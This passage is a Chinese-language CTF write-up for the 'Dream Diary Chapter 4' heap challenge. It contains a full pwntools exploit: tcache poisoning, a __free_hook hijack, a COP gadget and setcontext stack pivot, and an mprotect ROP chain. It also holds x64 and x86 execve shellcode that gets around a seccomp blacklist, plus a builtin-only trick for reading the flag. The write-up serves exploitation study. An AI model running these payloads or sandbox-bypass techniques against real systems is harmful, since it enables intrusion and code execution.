cmd(b"1"*0x700)

edit(pack(heapbase+0x200))

add(1,0,'left',b'p3-1')
add(1,0,'left',b'p3-2')
add(1,0,'left',b'p3-3')

add(2,0,'left',b'p4-1')

劫持 hook 指针打 COP 进行 stack pivot

接下来修改该chunk的值覆盖tcache 0x330指针为free_hook-0x10的地方,因为申请chunk后只能控制+8处偏移的值

那么另一个问题来了,劫持free hook之后,写入什么呢?

free函数可控的是rdi寄存器的值,指向我们释放的一个chunk,最终目标一定是rop,就需要进行stack pivot,常用方式就是setcontext+61

而setcontext+61需要rdx可控

那就需要找到一个方式能够转移rdi到rdx,搜索gadget:

bin ➤ ROPgadget --binary libc.so.6 --depth 15 | grep "mov rdx, qword ptr \[rdi"
0x0000000000113c12 : cmp eax, 0xaf4f1 ; mov rdx, qword ptr [rdi + 8] ; mov rcx, qword ptr [rdi + 0x10] ; jmp 0x113a1e
0x0000000000113c14 : hlt ; or al, byte ptr [rax] ; mov rdx, qword ptr [rdi + 8] ; mov rcx, qword ptr [rdi + 0x10] ; jmp 0x113a1e
0x0000000000113c13 : int1 ; hlt ; or al, byte ptr [rax] ; mov rdx, qword ptr [rdi + 8] ; mov rcx, qword ptr [rdi + 0x10] ; jmp 0x113a1e
0x00000000000862f2 : mov dword ptr [rdx + 0x28], eax ; mov rdx, qword ptr [rdi + 0x28] ; mov qword ptr [rdx + 0x20], rax ; jmp 0x862da
0x0000000000113c11 : mov edi, dword ptr [rip + 0xaf4f1] ; mov rdx, qword ptr [rdi + 8] ; mov rcx, qword ptr [rdi + 0x10] ; jmp 0x113a1e
0x00000000000862f1 : mov qword ptr [rdx + 0x28], rax ; mov rdx, qword ptr [rdi + 0x28] ; mov qword ptr [rdx + 0x20], rax ; jmp 0x862da
0x00000000000862f5 : mov rdx, qword ptr [rdi + 0x28] ; mov qword ptr [rdx + 0x20], rax ; jmp 0x862da
0x0000000000074963 : mov rdx, qword ptr [rdi + 0xa0] ; mov qword ptr [rdx + 0xe0], rcx ; ret
0x0000000000129670 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
0x0000000000113c17 : mov rdx, qword ptr [rdi + 8] ; mov rcx, qword ptr [rdi + 0x10] ; jmp 0x113a1e
0x0000000000113c15 : or al, byte ptr [rax] ; mov rdx, qword ptr [rdi + 8] ; mov rcx, qword ptr [rdi + 0x10] ; jmp 0x113a1e

去除不可控跳转的选项之后,还剩下1个ROP gadget和1个COP gadget:

0x0000000000074963 : mov rdx, qword ptr [rdi + 0xa0] ; mov qword ptr [rdx + 0xe0], rcx ; ret
0x0000000000129670 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]

显然,选择下面这个COP gadget比较合适,因为rdi+8可控,让其指向heap上可控的地址,然后call [rdx+0x20]的时候也可控跳转目标了

rdx可控了,就可以控制rdx+0x20处是setcontext+61进行stack pivot了

# 申请内存控制 tcache_prethread_struct 同时为后续做准备
add(1,0,'left',pack(libc.sym.__free_hook-0x10) + flat({
    0x20:pack(libc.sym.setcontext+61),
    0xa0:pack(heapbase+0x200+0x100+8),
    0xa8:pack(libc.sym.setcontext+334),	# ret
},filler=b"\x00")[0x20:])

gadget = libc.address + 0x00000000000129670
add(1,0,'left',pack(heapbase+0x200)+pack(gadget))
# 触发free hook
dele(0,"right")

这里把栈迁移到了heapbase+0x308处了,接下来会从这里进行rop

ROP -> mprotect 沙箱绕过 drop shell

rop chain也需要在处理tcache_prethread_struct的时候同时写入,沙箱是黑名单沙箱,回顾一下:

bin ➤ seccomp-tools dump ./diary4
📔 Welcome to Dream Diary Chapter 4 📔
I hope you enjoy this new fancy upgrade into circular diaries with even more protective measures! 😈
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0005
 0004: 0x06 0x00 0x00 0x00000000  return KILL
 0005: 0x15 0x00 0x01 0x00000142  if (A != execveat) goto 0007
 0006: 0x06 0x00 0x00 0x00000000  return KILL
 0007: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0009
 0008: 0x06 0x00 0x00 0x00000000  return KILL
 0009: 0x15 0x00 0x01 0x00000055  if (A != creat) goto 0011
 0010: 0x06 0x00 0x00 0x00000000  return KILL
 0011: 0x15 0x00 0x01 0x00000039  if (A != fork) goto 0013
 0012: 0x06 0x00 0x00 0x00000000  return KILL
 0013: 0x15 0x00 0x01 0x0000003a  if (A != vfork) goto 0015
 0014: 0x06 0x00 0x00 0x00000000  return KILL
 0015: 0x15 0x00 0x01 0x00000057  if (A != unlink) goto 0017
 0016: 0x06 0x00 0x00 0x00000000  return KILL
 0017: 0x15 0x00 0x01 0x00000058  if (A != symlink) goto 0019
 0018: 0x06 0x00 0x00 0x00000000  return KILL
 0019: 0x15 0x00 0x01 0x00000136  if (A != process_vm_readv) goto 0021
 0020: 0x06 0x00 0x00 0x00000000  return KILL
 0021: 0x15 0x00 0x01 0x00000137  if (A != process_vm_writev) goto 0023
 0022: 0x06 0x00 0x00 0x00000000  return KILL
 0023: 0x15 0x00 0x01 0x00000086  if (A != uselib) goto 0025
 0024: 0x06 0x00 0x00 0x00000000  return KILL
 0025: 0x06 0x00 0x00 0x7fff0000  return ALLOW

就绕沙箱而言,shellcode比rop还是更方便,因为没有禁用mprotect,直接rop去调用mprotect,自己准备shellcode

就用转换x64 到x86的模板即可:

rop = ROP(libc,heapbase+0x200+0x108)
rop.mprotect(heapbase,0x1000,7)
rop.raw(heapbase+0x200+0x200)
shellcode = """
xor rax, rax         
mov al, 9            
mov rdi, 0x1337000    
mov rsi, 0x1000      
mov rdx, 7           
mov r10, 0x32        
mov r8, 0xffffffff   
mov r9, 0            
syscall              

mov rax, 0
xor rdi, rdi
mov rsi, 0x1337590
mov rdx, 100
syscall 

xor rsp, rsp
mov esp, 0x1337160
mov DWORD PTR [esp+4], 0x23 
mov DWORD PTR [esp], 0x1337590 
retfd
"""
sc = asm(shellcode)
# 申请内存控制 tcache_prethread_struct 同时为后续做准备
add(1,0,'left',pack(libc.sym.__free_hook-0x10) + flat({
    0x20:pack(libc.sym.setcontext+61),
    0xa0:pack(heapbase+0x200+0x100+8),
    0xa8:pack(libc.sym.setcontext+334),
    0x108:rop.chain(),
    0x200:sc + pack(0xcccccccccccccccc)
},filler=b"\x00")[0x20:])

gadget = libc.address + 0x00000000000129670
add(1,0,'left',pack(heapbase+0x200)+pack(gadget))

dele(0,"right")

接下来输入x86的shellcode去drop shell:

sc86 = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
sl(sc86)

execve 前置基础

​execve系统调用的核心作用是加载并运行一个新的程序,用新的程序完全替换当前进程的内存空间、数据、和代码段。当执行像ls, grep, find这类外部命令时,Shell会先fork一个子进程,然后在这个子进程里调用execve来执行/bin/ls、/bin/grep这些可执行文件。

而Shell内置命令,顾名思义,是Shell自己内部实现的功能,它不需要创建新进程,也不需要调用execve,而是直接在当前Shell进程的上下文中执行。这样做效率更高,并且可以用来改变当前Shell自身的状态(比如环境变量、当前目录等)。

其中题目有关的常见内部命令有cd,pwd,echo和read

shell bypass Seccomp Sandbox

接下来需要做2件事,获取flag所在文件名,读取该文件

无execve小技巧:

  1. 通过echo *命令,可以得到当前目录下的所有文件
  2. 通过read line < flag; echo $line命令,可以读取文件的内容

在拿到的shell中执行该命令即可:

$ echo *
diary4 diary4.i64 diary4.id0 diary4.id1 diary4.id2 diary4.nam diary4.til exp.py exp_cli.py flag.txt ld-2.32.so libc.so.6
$ read line < flag.txt; echo $line
HTB{flag}

因为环境在本地,所以是flag.txt,远程环境使用了随机字符命名的文件,所以通过shellcode使用openat+sendfile的方案行不通

完整exp

#!/usr/bin/env python3

from pwn import *
context.arch="amd64"
io = process("./diary4")
#io = remote("",)
libc = ELF("libc.so.6")

r   = lambda x    : io.recv(numb=x)
ru  = lambda x    : io.recvuntil(x)
rl  = lambda      : io.recvline()
s  = lambda x    : io.send(x)
sl  = lambda x    : io.sendline(x)
ia  = lambda      : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa  = lambda a, b : io.sendafter(a, b)

rd_count = 0
rw_count = 0
count = 0
def cmd(i, prompt=b"choice: "):
    sla(prompt, i)

def add(is_rd:int,traverse:int,lr:str,ctx:bytes):
    global count,rd_count,rw_count
    cmd('1')
    sla(b"choice: ",str(is_rd).encode())    # 1:rd 2:rw 各自19个
    if count !=0:
        sla(b"ages to traverse: ",str(traverse).encode())  # 插入到第几个附近
        sla(b"right or left: ",lr.encode())  # lr 1:right是前 0:left是后
    sla(b"input data for the page: ",ctx)
    count += 1
    if is_rd == 1:
        rd_count += 1
    elif is_rd == 2:
        rw_count += 1
    info(f"Current rd:{rd_count}, rw:{rw_count}, count:{count}")


def dele(traverse:int,lr:str):
    global count
    cmd('2')
    sla(b"ages to traverse: ",str(traverse).encode())  # 插入到第几个附近
    sla(b"right or left: ",lr.encode())  # lr 1:right 0:left
    count -= 1

def move(traverse:int,lr:str):
    cmd('3')
    sla(b"ages to traverse: ",str(traverse).encode())  # 插入到第几个附近
    sla(b"right or left: ",lr.encode())  # lr 1:right 0:left


def show():
    cmd('4')

def edit(ctx:bytes):
    cmd('5')
    sa(b"input data for the page: ",ctx)
    
def exit():
    cmd('6')

for i in range(9):
    add(2,0,'left',b'A')

dele(0,'left')
for i in range(6):
    dele(0,'left')
    
dele(1,'right')
dele(1,'right')

for i in range(7):
    add(1,0,'left',b'A2')
cmd(b"1"*0x700)


add(1,0,'left',b'')
show()
ru(b"diary: \n")
leak = r(6)
leak = unpack(leak,"all")
libc.address = leak -0x1bf00a
success(f"libc.address: {hex(libc.address)}")

dele(0,'left')
add(1,0,'left',b'aaaaaaa')
show()
ru(b"diary: \n")
leak = r(6+8)[8:]
leak = unpack(leak,"all")
heapbase = leak  -0x15b0
success(f"libc.address: {hex(libc.address)}")
success(f"heap.address: {hex(heapbase)}")

# 凑够10个 chunk
add(2,0,'left',b'p2-1')
add(2,0,'left',b'p2-2')
# 释放tcache填满
dele(0,'left')
dele(1,"right")
dele(0,"right")
dele(0,"right")
dele(0,"right")

dele(1,"right")
dele(1,"right")
# 释放unsortedbin chunk
dele(0,"right")
dele(1,"right")
# sorting into smallbin
cmd(b"1"*0x700)
dele(100,"right")
cmd(b"1"*0x700)

edit(pack(heapbase+0x200))


add(1,0,'left',b'p3-1')
add(1,0,'left',b'p3-2')
add(1,0,'left',b'p3-3')

add(2,0,'left',b'p4-1')


dele(0,"right")
dele(0,"right")
dele(0,"right")
dele(0,"right")

rop = ROP(libc,heapbase+0x200+0x108)
rop.mprotect(heapbase,0x1000,7)
rop.raw(heapbase+0x200+0x200)
shellcode = """
xor rax, rax         
mov al, 9            
mov rdi, 0x1337000    
mov rsi, 0x1000      
mov rdx, 7           
mov r10, 0x32        
mov r8, 0xffffffff   
mov r9, 0            
syscall              

mov rax, 0
xor rdi, rdi
mov rsi, 0x1337590
mov rdx, 100
syscall 

xor rsp, rsp
mov esp, 0x1337160
mov DWORD PTR [esp+4], 0x23 
mov DWORD PTR [esp], 0x1337590 
retfd
"""
sc = asm(shellcode)
# 申请内存控制 tcache_prethread_struct 同时为后续做准备
add(1,0,'left',pack(libc.sym.__free_hook-0x10) + flat({
    0x20:pack(libc.sym.setcontext+61),
    0xa0:pack(heapbase+0x200+0x100+8),
    0xa8:pack(libc.sym.setcontext+334),
    0x108:rop.chain(),
    0x200:sc + pack(0xcccccccccccccccc)
},filler=b"\x00")[0x20:])

gadget = libc.address + 0x00000000000129670
add(1,0,'left',pack(heapbase+0x200)+pack(gadget))

dele(0,"right")

sc86 = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

sl(sc86)
ia()

总结

  1. 劫持指针后的一个新的思考方向:COP gadget
  2. scanf内部机制会进行一次malloc(0x800)
  3. TSU+实践应用
  4. 无漏洞泄露地址

‍

参考资料

  • [0] glibc malloc.c 源码
  • [1] glibc vfscanf.c 源码